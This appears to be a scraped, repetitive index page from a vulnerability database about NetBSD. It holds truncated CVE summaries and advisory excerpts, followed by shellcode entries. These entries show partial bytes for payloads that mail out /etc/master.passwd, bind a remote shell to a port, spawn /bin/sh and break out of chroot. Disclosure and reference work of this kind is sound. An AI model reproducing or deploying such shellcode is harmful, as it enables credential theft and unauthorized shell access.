CVE-2004-2012

The systraceexit function in the systrace utility for NetBSD-current and 2.0 before April 16, 2004, and certain FreeBSD ports, does not verify the owner of the /dec/systrace connection before setting euid to 0, which allows local users to gain root privileges...

CVE-2004-2012

The CVE-2004-2012 entry concerns the systrace_exit function in the systrace utility used on NetBSD-current (pre-April 16, 2004) and certain FreeBSD ports. The vulnerability arises because the code path does not verify the owner of the /dec/systrace connection before setting the effective user ID ...

CVE-2004-1374

Multiple buffer overflows in NetBSD kernel may allow local users to execute arbitrary code and gain privileges...

CVE-2004-1374

CVE-2004-1374 affects the NetBSD kernel with multiple buffer overflows that may allow local users to execute arbitrary code and gain privileges. The available records describe the vulnerability class and impact but do not specify affected NetBSD versions, exact vulnerable components within the ke...

tnftp: Arbitrary file overwriting

Background tnftp is a NetBSD FTP client with several advanced features. Description The 'mget' function in cmds.c lacks validation of the filenames that are supplied by the server. Impact An attacker running an FTP server could supply clients with malicious filenames, potentially allowing the...

CVE-2004-1323

CVE-2004-1323 affects NetBSD prior to 2.0. The issue arises in the compat subsystem where multiple syscalls (notably xxx_sys_kill and xxx_sys_sigaction) can be misused by passing a large signal number, potentially triggering a kernel crash and denial of service. The available documents consistent...

CVE-2004-1323

Multiple syscalls in the compat subsystem for NetBSD before 2.0 allow local users to cause a denial of service kernel crash via a large signal number to 1 xxxsyskill, 2 xxxsyssigaction, and possibly other translation functions...

CVE-2004-2012

The systraceexit function in the systrace utility for NetBSD-current and 2.0 before April 16, 2004, and certain FreeBSD ports, does not verify the owner of the /dec/systrace connection before setting euid to 0, which allows local users to gain root privileges...

CVE-2004-1374

Multiple buffer overflows in NetBSD kernel may allow local users to execute arbitrary code and gain privileges...

NetBSD compat subsystems privilege escalation

Some emulated syscalls do insuficcient check for arguments...

NetBSD Security Advisory 2004-010: Insufficient argument validation in compat code

-----BEGIN PGP SIGNED MESSAGE----- NetBSD Security Advisory 2004-010 ================================= Topic: Insufficient argument validation in compat code Version: NetBSD-current: source prior to Oct 27, 2004 NetBSD 2.0: not affected NetBSD 1.6.2: affected NetBSD 1.6.1: affected NetBSD 1.6:...

NetBSD kernel local vulnerabilities

Name: NetBSD kernel local vulnerabilities Date: Dec 18, 2004 Author: Evgeny Demidov Description: There exists multiple vulnerabilities in NetBSD binary compatibility code. They can be approximately divided into two parts: 1 signal number validation problems in xxxsyskill,xxxsyssigaction and simil...

CVE-2004-1323

Multiple syscalls in the compat subsystem for NetBSD before 2.0 allow local users to cause a denial of service kernel crash via a large signal number to 1 xxxsyskill, 2 xxxsyssigaction, and possibly other translation functions...

CVE-2004-0257

OpenBSD 3.4 and NetBSD 1.6 and 1.6.1 allow remote attackers to cause a denial of service crash by sending an IPv6 packet with a small MTU to a listening port and then issuing a TCP connect to that port...

bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes

Exploit for bsd/x86 platform in category shellcode ====================================================== bsd/x86 cat /etc/master.passwd | mail email 92 bytes ====================================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 92 bytes. execve/bin/sh -c...

bsd/x86 portbind port random 143 bytes

No description provided by source. Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / 143 bytes / char shellcode = "\x31\xC0" "\x50" "\x50" "\xB0\x17" "\xCD\x80" // setuid "\x31\xC0" "\x50" "\x50" "\xB0\xB5" "\xCD\x80" //...

netbsd/x86 execve /bin/sh 68 bytes

Exploit for netbsd/x86 platform in category shellcode ================================== netbsd/x86 execve /bin/sh 68 bytes ================================== / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07"...

bsd/x86 portbind port random 143 bytes

Exploit for bsd/x86 platform in category shellcode ====================================== bsd/x86 portbind port random 143 bytes ====================================== Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / 143...

netbsd/x86 execve /bin/sh 68 bytes

netbsd/x86 execve /bin/sh 68 bytes. Shellcode exploit for netbsdx86 platform / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b"...

bsd/x86 break chroot 45 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 45 bytes. -break chrooted / char shellcode= "\x68\x62\x2e\x2e\x2e" / pushl $0x2e2e2e62 / "\x89\xe7" / movl %esp,%edi / "\x33\xc0" / xorl %eax,%eax / "\x88\x47\x03" / movb %al,0x3%edi / "\x57" /...